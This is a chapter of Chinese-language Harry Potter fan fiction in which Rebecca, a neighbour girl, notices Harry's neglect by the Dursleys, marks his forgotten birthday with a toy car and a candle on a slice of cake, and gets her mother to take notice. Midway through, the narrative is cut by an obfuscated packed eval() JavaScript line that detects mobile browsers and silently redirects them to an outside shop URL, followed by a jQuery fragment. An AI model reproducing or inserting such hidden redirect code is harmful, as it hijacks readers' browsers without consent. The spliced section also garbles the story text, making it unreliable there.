七月剩下的日子里,哈利来六号的次数渐渐多了起来。
这并不是因为德思礼夫妇忽然变得宽容。恰恰相反,佩妮依旧会提醒他“别给人家添麻烦”,弗农也坚持认为他去隔壁最好是为了“帮萨顿先生做点正经事”。不过他们很快发现,哈利待在隔壁时,家里会安静不少。达力可以独占电视,佩妮也不必总看见哈利从厨房门口经过;既然如此,他们便勉强接受了这种安排,只是不肯承认自己其实对此相当满意。
哈利因此慢慢熟悉了萨顿的一些“规矩”。
他知道大卫的工具不能乱碰,马修嘴里的“别动”通常意味着“至少先问一声”,也知道海伦如果说桌上有饼干,就是真的可以拿,而不是一种需要礼貌拒绝三次的试探。可他仍旧很少主动拿第二块,喝完东西也总会顺手把杯子送进厨房,仿佛只要自己留下的痕迹足够少,就不会有人忽然觉得他来得太频繁。
丽贝卡对此很不理解。
“你为什么每次都把杯子洗了?”
“顺手。”
“可是我都不洗。”
“我知道。”
“你这是什么意思?”
哈利看了一眼正泡在水槽里的两个杯子。“就是字面意思。”
丽贝卡想了一会儿,决定这句话听起来不像夸奖。
海伦倒没有阻止哈利。她只是有一次看见他连马修的杯子也一起洗了,便靠在门边问:“哈利,你什么时候开始负责马特的家务了?”
哈利愣住,耳朵有点红。
马修立刻从客厅探头:“我觉得这是个很好的制度。”
“我觉得不是。”海伦说。
从那以后,哈利至少学会了只洗自己的杯子。
真正让丽贝卡觉得不太对劲,是七月三十日。
两个人坐在六号车库门口,大卫正在里面找一只不知道被谁放错地方的螺丝刀。丽贝卡忽然问起生日,本来只是因为马修前几天提到自己的生日蛋糕,没想到哈利随口说:“明天。”
丽贝卡停了下来。
“明天?”
“嗯。”
“七月三十一?”
“嗯。”
她盯着他看了一会儿。“你怎么现在才说?”
哈利莫名其妙。“你也没问。”
这个回答在逻辑上没有问题,所以尤其让丽贝卡不满意。
第二天下午,她抱着一个用得并不算十分漂亮的蓝纸包去了德思礼家。里面是一辆很小的金属玩具车,是她和海伦上午去商店时挑的。海伦原本还问要不要带个小蛋糕,丽贝卡想起苹果派事件,十分谨慎地否决了这个提议。
这一次是哈利来开的门。
他看见她手里的东西,先是愣了一下。
“这是什么?”
“你的。”
“我的什么?”
“生日礼物。”
哈利依然没有接。
那种神情丽贝卡已经见过一次了。第一次送苹果派时,他也是这样看着她手里的东西,好像别人递给他什么之前,最好先说明理由。
“今天不是你生日吗?”她问。
“是。”
“那就是生日礼物。”
哈利恍然大悟似的慢慢接过去,脸上泛起一团淡淡的红晕。
丽贝卡等了一会儿,没忍住问他:“你不拆吗?”
“现在?”
“难道要等明年?”
哈利低头拆开包装纸。看见里面的小汽车时,他的脸更红了,手指在车轮上拨了拨,轮子立刻转起来。
“喜欢吗?”
“嗯。”他的声音很轻,像是怕惊醒什么:“谢谢,我很喜欢。”
丽贝卡这才满意。
她往屋里看了一眼,原本以为会看见气球、蛋糕或者至少一些包装纸,可客厅和平时没什么区别。电视开着,达力坐在沙发上,茶几上摆着零食,没有任何东西看起来和生日有关。
“你的蛋糕呢?”她问。
哈利手上的动作停了,迟疑地说:“我没有蛋糕。”
“还没买吗?”
“不是。”
丽贝卡看向他。
哈利似乎不想继续这个话题,只把小汽车握在手里。“我姨妈叫我等会儿去把后院的东西收起来。”
丽贝卡没有马上说话。
她第一次觉得有些事情不是“奇怪”那么简单。
她自己生日时,海伦会烤蛋糕,大卫通常会买一个很实用、但包装得很糟糕的礼物,马修则会先嘲笑她又长大一岁,再偷偷多塞一包糖进礼物袋。她一直以为生日就是这样,区别无非是蛋糕口味和礼物多少。
可哈利什么都没有。
“达力生日也没有吗?”她问。
哈利看了她一眼。
“有。”
“蛋糕?”
“有。”
“礼物?”
“很多。”
丽贝卡皱起眉。
这件事忽然变得非常不好理解。
如果德思礼家不过生日,那哈利没有蛋糕很正常。可他们明明给达力过,而且显然过得相当认真。既然如此,同样住在这里的哈利为什么没有?
她还想问,哈利却先说道:“没事。”
他说得太快了。
丽贝卡盯着他,第一次觉得“没事”可能并不真的表示没事。
“你每年都没有?”
哈利沉默了一下:“差不多。”
“为什么?”
他摇头,显然是不愿意多说的意思。
这一次,丽贝卡没有追着问。
她只是忽然想起哈利那些过大的衣服、做不完的家务,还有每次佩妮姨妈一叫他的名字,他都会立刻站起来的样子。那些原本零零散散的事情第一次像被人放到了一起,拼出一个并不怎么好看的轮廓。
她还不知道应该把它叫什么。
但她知道自己不喜欢。
“你等着。”丽贝卡忽然说,转身跑回六号。十分钟后,她折了回来,手里端着一只小盘子。海伦下午烤了柠檬蛋糕,原本只是准备当茶点,现在被丽贝卡切走了一块,上面还歪歪扭扭插着一根蜡烛。
哈利看着那根蜡烛:“为什么只有一根?”
“因为八根太多了,而且会把蛋糕插烂。”
这个理由十分实际。
丽贝卡把盘子递给他。“你可以许个愿。”
哈利迟疑了一下。“必须许愿吗?”
“随你便。”
“那就不许了。”
“也行。”
他把蜡烛吹灭。
丽贝卡没有问他许了什么,因为他根本没许——哈利也没有告诉她,其实刚才有那么一瞬间,他差点真的想要许一个愿望。
他希望明年还能有人记得自己的生日。
这个念头让他有点不自在,所以很快被他压了下去。
八月以后,丽贝卡观察哈利的次数明显多了起来。
以前她只是觉得德思礼夫妇总给他安排家务,现在却开始注意别的。比如哈利从来没有穿过真正合身的衣服;比如达力可以在客厅大声抱怨晚饭,而哈利通常什么都吃;再比如佩妮叫达力时和叫哈利时,根本不是同一种声音。
有一次哈利在萨顿家吃了一块饼干,听见隔壁佩妮喊他,立刻站了起来。
“我得走了。”
丽贝卡看了看墙上的钟。“可是你才来十分钟。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872136|212317||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“她叫我。”
“那又怎么样?”丽贝卡有点恼火。
哈利已经往门口走去。
丽贝卡跟过去,追问道:“她为什么每次叫你,你都得马上回去?”
哈利理所当然地回答:“因为她会生气。”
“那就让她气着。”
哈利转头看她,像是她刚提出了某种十分危险的实验方案。
“不行。”丽贝卡听到他说。
“为什么不行?”丽贝卡穷追不舍。
“就是不行。”
丽贝卡还想说话,却忽然注意到他的表情。
不是烦。
也不是单纯怕挨骂。
更像是他根本没有认真考虑过“可以不马上回去”这种可能。
她闭上嘴,不说话了。
那天晚上,她问海伦:“如果一个大人总是对一个孩子比对另一个孩子差很多,正常吗?”
海伦正在叠衣服,动作停了一下。
“为什么这么问?”
“就是问问。”
“丽贝卡。”海伦深深地看了她一眼。
丽贝卡知道这个语气意味着“别拿就是问问糊弄我”。
她犹豫了一会儿,还是把自己的猜测说了出来:“我觉得德思礼太太不喜欢哈利。”
海伦没有立刻回答。
她当然也注意到了一些事:哈利太客气,太怕麻烦别人,衣服永远不合身,而且一个八岁孩子熟练做家务本身并没有什么,可熟练到像是在尽量避免犯错,就不太一样。
但她也知道,隔着一道篱笆看见的东西,并不等于已经知道全部。
“我不知道他们家具体是什么情况。”她最后说,“不过如果你发现哈利有什么需要帮助的,可以告诉我或者爸爸。”
“那你觉得他们对他不好吗?”
海伦看向女儿。
“我只是觉得我们应该多留意一点。”
这个答案并没有完全满足丽贝卡,却已经足够让她确定:不是只有自己觉得奇怪。
之后的整个八月,哈利依旧常来六号。
海伦没有突然对他格外热情,大卫也没有开始盘问德思礼家的事。他们只是像以前一样让他进门、喝水、帮忙,偶尔留下吃点东西。唯一的区别是,大卫会稍微多看一眼时间,海伦也不再完全相信哈利那句“我吃过了”。
而哈利并不知道这些变化,他只是渐渐发现,待在萨顿家的时候,自己不必总那么小心翼翼。
他还是会说谢谢,还是不会随便翻别人的东西,也依旧很少主动要求什么。可至少他已经不会每次进门都先想自己什么时候该走。
有时丽贝卡去楼上找东西,让他一个人留在厨房,他也不会立刻站起来。
有一次海伦问他要不要再喝一点果汁,他甚至没有先脱口而出“不用了”;他只是看了看杯子,自然地说:“再来一点,谢谢您。”
说完以后,连他自己都愣了一下。
海伦却只是拿起果汁瓶。
“当然。”
事情就这么过去了。
到了暑假快结束时,萨顿家开始准备开学。
丽贝卡的转学手续已经办好,新学校恰好就是哈利和达力上的那一所。得知这件事以后,她很高兴,哈利也看起来也很高兴,只是表现得没有她那么明显。
“那我们可以一起去学校了。”丽贝卡说。
哈利想了想:“达力也去。”
丽贝卡有点糊涂了:“这有什么关系?”
“没什么。”
丽贝卡看了他一眼:“那就一起去。”
哈利没说什么,只是他突然觉得,九月好像也没有以前那么令人讨厌了。